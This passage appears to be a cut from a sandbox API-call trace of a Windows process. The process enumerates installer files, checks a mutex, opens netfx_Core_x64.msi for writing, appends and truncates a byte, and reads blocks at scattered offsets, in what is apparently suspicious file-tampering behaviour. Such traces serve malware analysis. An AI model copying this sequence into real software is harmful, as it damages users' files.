out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x87f [0264.919] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19eab8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19eab8*=0) returned 0x0 [0264.919] ReadFile (in: hFile=0x398, lpBuffer=0x3e80e78, nNumberOfBytesToRead=0x87f, lpNumberOfBytesRead=0x19eadc, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesRead=0x19eadc*=0x87f, lpOverlapped=0x0) returned 1 [0264.919] CloseHandle (hObject=0x398) returned 1 [0264.919] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.919] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0264.919] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0264.919] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0264.919] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0264.919] GlobalUnlock (hMem=0x3f40014) returned 0 [0264.919] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0264.920] GlobalLock (hMem=0x3f4000c) returned 0x3ae4e10 [0264.920] GlobalHandle (pMem=0x3ae2e00) returned 0x3f40014 [0264.920] GlobalUnlock (hMem=0x3f40014) returned 0 [0264.920] GlobalHandle (pMem=0x3ae4e10) returned 0x3f4000c [0264.920] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.920] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0264.920] CharLowerBuffW (in: lpsz="netfx_Core.mzz", cchLength=0xe | out: lpsz="netfx_core.mzz") returned 0xe [0264.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="më\x19", lpUsedDefaultChar=0x0) returned 1 [0264.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="të\x19", lpUsedDefaultChar=0x0) returned 1 [0264.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="në\x19", lpUsedDefaultChar=0x0) returned 1 [0264.920] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0264.920] CharLowerBuffW (in: lpsz=".mzz", cchLength=0x4 | out: lpsz=".mzz") returned 0x4 [0264.920] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mzz", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".mzzw", lpUsedDefaultChar=0x0) returned 4 [0264.920] FindNextFileW (in: hFindFile=0x6da110, lpFindFileData=0x19ec58 | out: lpFindFileData=0x19ec58) returned 1 [0264.921] FileTimeToLocalFileTime (in: lpFileTime=0x19ec6c, lpLocalFileTime=0x19eb78 | out: lpLocalFileTime=0x19eb78) returned 1 [0264.921] FileTimeToDosDateTime (in: lpFileTime=0x19eb78, lpFatDate=0x19ec3a, lpFatTime=0x19ec38 | out: lpFatDate=0x19ec3a, lpFatTime=0x19ec38) returned 1 [0264.921] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0264.921] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0264.921] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.921] GlobalLock (hMem=0x3f4000c) returned 0x3ae2e00 [0264.921] GlobalLock (hMem=0x3f40014) returned 0x3ae4e10 [0264.921] GlobalHandle (pMem=0x3ae2e00) returned 0x3f4000c [0264.921] GlobalUnlock (hMem=0x3f4000c) returned 0 [0264.921] GlobalHandle (pMem=0x3ae4e10) returned 0x3f40014 [0264.921] GlobalUnlock (hMem=0x3f40014) returned 0 [0264.921] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0264.921] CharLowerBuffW (in: lpsz="netfx_Core_x64.msi", cchLength=0x12 | out: lpsz="netfx_core_x64.msi") returned 0x12 [0264.921] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ië\x19", lpUsedDefaultChar=0x0) returned 1 [0264.921] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="së\x19", lpUsedDefaultChar=0x0) returned 1 [0264.921] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="më\x19", lpUsedDefaultChar=0x0) returned 1 [0264.921] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.921] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="4", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="4ë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.921] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="6", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="6ë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.921] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.921] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.921] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.921] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.921] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="të\x19", lpUsedDefaultChar=0x0) returned 1 [0264.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eë\x19", lpUsedDefaultChar=0x0) returned 1 [0264.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x19db10, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="në\x19", lpUsedDefaultChar=0x0) returned 1 [0264.922] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13128, cbMultiByte=34, lpWideCharStr=0x19db18, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0264.922] CharLowerBuffW (in: lpsz=".msi", cchLength=0x4 | out: lpsz=".msi") returned 0x4 [0264.922] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".msi", cchWideChar=4, lpMultiByteStr=0x19db18, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".msiw", lpUsedDefaultChar=0x0) returned 4 [0264.922] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi", lpFindFileData=0x19e8b8 | out: lpFindFileData=0x19e8b8) returned 0x6da1d0 [0264.922] FileTimeToLocalFileTime (in: lpFileTime=0x19e8cc, lpLocalFileTime=0x19e7d8 | out: lpLocalFileTime=0x19e7d8) returned 1 [0264.922] FileTimeToDosDateTime (in: lpFileTime=0x19e7d8, lpFatDate=0x19e89a, lpFatTime=0x19e898 | out: lpFatDate=0x19e89a, lpFatTime=0x19e898) returned 1 [0264.922] FindClose (in: hFindFile=0x6da1d0 | out: hFindFile=0x6da1d0) returned 1 [0264.922] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi", dwFileAttributes=0x20) returned 1 [0264.925] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0264.925] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0264.925] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x1d0200 [0264.926] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0264.926] SetFilePointer (in: hFile=0x398, lDistanceToMove=1901056, lpDistanceToMoveHigh=0x19e7d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7d0*=0) returned 0x1d0200 [0264.926] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c68*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c68*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0264.938] CloseHandle (hObject=0x398) returned 1 [0265.130] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0265.130] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0265.130] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x1d0201 [0265.130] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7b8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7b8*=0) returned 0x0 [0265.130] SetFilePointer (in: hFile=0x398, lDistanceToMove=1901056, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x1d0200 [0265.130] SetEndOfFile (hFile=0x398) returned 1 [0265.133] CloseHandle (hObject=0x398) returned 1 [0265.133] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0265.133] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0265.134] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x1d0200 [0265.134] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7ac*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7ac*=0) returned 0x0 [0265.134] GlobalLock (hMem=0x3f40014) returned 0x3ae2e00 [0265.134] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x0 [0265.134] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.135] SetFilePointer (in: hFile=0x398, lDistanceToMove=43661, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0xaa8d [0265.135] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.135] SetFilePointer (in: hFile=0x398, lDistanceToMove=81503, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x13e5f [0265.135] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.135] SetFilePointer (in: hFile=0x398, lDistanceToMove=121957, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x1dc65 [0265.136] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.136] SetFilePointer (in: hFile=0x398, lDistanceToMove=132514, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x205a2 [0265.136] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.136] SetFilePointer (in: hFile=0x398, lDistanceToMove=173134, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x2a44e [0265.136] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.136] SetFilePointer (in: hFile=0x398, lDistanceToMove=213888, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x34380 [0265.136] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.136] SetFilePointer (in: hFile=0x398, lDistanceToMove=235723, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x398cb [0265.136] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.136] SetFilePointer (in: hFile=0x398, lDistanceToMove=290735, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x46faf [0265.136] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.137] SetFilePointer (in: hFile=0x398, lDistanceToMove=325110, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x4f5f6 [0265.137] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.137] SetFilePointer (in: hFile=0x398, lDistanceToMove=331601, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x50f51 [0265.137] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.137] SetFilePointer (in: hFile=0x398, lDistanceToMove=361145, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x582b9 [0265.137] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.138] SetFilePointer (in: hFile=0x398, lDistanceToMove=416573, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x65b3d [0265.138] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.138] SetFilePointer (in: hFile=0x398, lDistanceToMove=448602, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x6d85a [0265.138] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.138] SetFilePointer (in: hFile=0x398, lDistanceToMove=476878, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x746ce [0265.138] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.138] SetFilePointer (in: hFile=0x398, lDistanceToMove=513287, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x7d507 [0265.138] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.138] SetFilePointer (in: hFile=0x398, lDistanceToMove=527610, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x80cfa [0265.138] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.139] SetFilePointer (in: hFile=0x398, lDistanceToMove=569283, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x8afc3 [0265.139] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.139] SetFilePointer (in: hFile=0x398, lDistanceToMove=616059, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x9667b [0265.139] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.139] SetFilePointer (in: hFile=0x398, lDistanceToMove=624080, lpDistanceToMoveHigh=0x19e7c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e7c4*=0) returned 0x985d0 [0265.139] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e7d8, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e7d8*=0x400, lpOverlapped=0x0) returned 1 [0265.139] SetFilePointer (in: hFile=0x398, lDistanceToMove=681773, lpDistanceToMoveHigh=0x19e7c4*=0, 